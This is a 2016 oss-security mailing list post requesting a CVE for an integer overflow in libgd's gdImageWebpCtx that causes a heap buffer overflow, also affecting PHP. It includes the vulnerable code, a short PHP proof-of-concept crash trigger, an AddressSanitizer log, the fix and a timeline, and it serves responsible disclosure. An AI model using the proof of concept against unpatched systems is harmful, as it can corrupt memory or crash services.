Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Tue, 27 Sep 2016 10:13:49 +0000
From: winsonliu(刘科) <winsonliu@...cent.com>
To: oss-security <oss-security@...ts.openwall.com>
CC: cve-assign <cve-assign@...re.org>
Subject: CVE Request: libgd: Integer overflow in function gdImageWebpCtx of
 gd_webp.c

Hello,

This is Ke Liu of Tencent's Xuanwu LAB. I reported an integer overflow vulnerability to libgd last month, the vulnerability could lead to heap buffer overflow circumstance and PHP was also affected. Now both libgd and PHP have been fixed this issue. Could you please assign a CVE number for it? Thanks.

Regards,
Ke

DESCRIPTION
======================
An integer overflow vulnerability was found in function gdImageWebpCtx of file gd_webp.c in libgd. It could lead to heap buffer overflow circumstance. Both PHP 7.0.10 and libgd 2.2.3 were affected by this issue.


AFFECTED VENDORS
======================
PHP reported via https://bugs.php.net/bug.php?id=73003
PHP fixed via https://github.com/php/php-src/commit/c18263e0e0769faee96a5d0ee04b750c442783c6
libgd reported via https://github.com/libgd/libgd/issues/308
libgd fixed via https://github.com/libgd/libgd/commit/40bec0f38f50e8510f5bb71a82f516d46facde03


CREDIT
======================
This vulnerability was discovered by Ke Liu of Tencent's Xuanwu LAB.


VULNERABILITY DETAILS
======================
The bad code lies in function gdImageWebpCtx of file gd_webp.c.

argb = (uint8_t *)gdMalloc(gdImageSX(im) * 4 * gdImageSY(im));  /* integer overflow!!! */

There is no overflow check before calling the gdMalloc function. Actually, an integer overflow can be happened here. For example, 0x8000 * 0x8001 * 4 = 0x100020000 -> Overflow -> 0x20000. The buffer will be overflowed in the following for loop.

for (y = 0; y < gdImageSY(im); y++) {
    for (x = 0; x < gdImageSX(im); x++) {
        register int c;
        register char a;
        c = im->tpixels[y][x];
        a = gdTrueColorGetAlpha(c);
        if (a == 127) {
            a = 0;
        } else {
            a = 255 - ((a << 1) + (a >> 6));
        }
        *(p++) = gdTrueColorGetRed(c);    // heap buffer overflow!!!
        *(p++) = gdTrueColorGetGreen(c);  // heap buffer overflow!!!
        *(p++) = gdTrueColorGetBlue(c);   // heap buffer overflow!!!
        *(p++) = a;    // heap buffer overflow!!!
    }
}


POC
======================
This issue was reported to PHP originally. So currently the proof-of-concept file is only available for PHP. But I think it's not hard to write a PoC for libgd.

<?php
    ini_set('memory_limit', -1);
    $im = imagecreatetruecolor(0x8000, 0x8001);
    imagewebp($im, 'php.webp');
    imagedestroy($im);
?>


EXCEPTION LOG
======================
Also, the exception log was generated by PHP.

==2583==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ff13d43e800 at pc 0x000000a77d0d bp 0x7ffe8ecdae90 sp 0x7ffe8ecdae88
WRITE of size 1 at 0x7ff13d43e800 thread T0
    #0 0xa77d0c in gdImageWebpCtx php-src-master/ext/gd/libgd/gd_webp.c:139:4
    #1 0x9c0aac in _php_image_output_ctx php-src-master/ext/gd/gd_ctx.c:175:6
    #2 0x9aab7d in zif_imagewebp php-src-master/ext/gd/gd.c:2690:2
    #3 0x2655967 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER php-src-master/Zend/zend_vm_execute.h:628:2
    #4 0x20399e0 in execute_ex php-src-master/Zend/zend_vm_execute.h:432:7
    #5 0x203f75a in zend_execute php-src-master/Zend/zend_vm_execute.h:474:2
    #6 0x1b41033 in zend_execute_scripts php-src-master/Zend/zend.c:1464:4
    #7 0x160a813 in php_execute_script php-src-master/main/main.c:2537:14
    #8 0x2babd79 in do_cli php-src-master/sapi/cli/php_cli.c:990:5
    #9 0x2ba4f0d in main php-src-master/sapi/cli/php_cli.c:1378:18
    #10 0x7ff25026ff44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287:0
    #11 0x469856 in _start ??:0:0

0x7ff13d43e800 is located 0 bytes to the right of 131072-byte region [0x7ff13d41e800,0x7ff13d43e800)
allocated by thread T0 here:
    #0 0x4f0812 in malloc ??:0:0
    #1 0x18e6886 in _emalloc php-src-master/Zend/zend_alloc.c:2402:11
    #2 0xa774b0 in gdImageWebpCtx php-src-master/ext/gd/libgd/gd_webp.c:123:20
    #3 0x9c0aac in _php_image_output_ctx php-src-master/ext/gd/gd_ctx.c:175:6
    #4 0x9aab7d in zif_imagewebp php-src-master/ext/gd/gd.c:2690:2
    #5 0x2655967 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER php-src-master/Zend/zend_vm_execute.h:628:2
    #6 0x20399e0 in execute_ex php-src-master/Zend/zend_vm_execute.h:432:7
    #7 0x203f75a in zend_execute php-src-master/Zend/zend_vm_execute.h:474:2
    #8 0x1b41033 in zend_execute_scripts php-src-master/Zend/zend.c:1464:4
    #9 0x160a813 in php_execute_script php-src-master/main/main.c:2537:14
    #10 0x2babd79 in do_cli php-src-master/sapi/cli/php_cli.c:990:5
    #11 0x2ba4f0d in main php-src-master/sapi/cli/php_cli.c:1378:18
    #12 0x7ff25026ff44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287:0

SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 ??
Shadow bytes around the buggy address:
  0x0ffea7a7fcb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffea7a7fcc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffea7a7fcd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffea7a7fce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffea7a7fcf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ffea7a7fd00:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffea7a7fd10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffea7a7fd20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffea7a7fd30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffea7a7fd40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffea7a7fd50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==2583==ABORTING


PATCH
======================
It's very easy to write a patch for this issue. Just call function overflow2 to check if overflow exists or not before calling function gdMalloc.

if (overflow2(gdImageSX(im), 4)) {
    return;
}

if (overflow2(gdImageSX(im) * 4, gdImageSY(im))) {
    return;
}


TIMELINE
======================
2016/09/02 - Report to PHP as BUG 73003
2016/09/06 - Wrote a patch and created a pull request for libgd
2016/09/06 - Wrote a patch and created a pull request for php-src
2016/09/16 - Fixed in PHP via 46df064 and c18263e
2016/09/16 - Fixed in libgd via 40bec0f

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.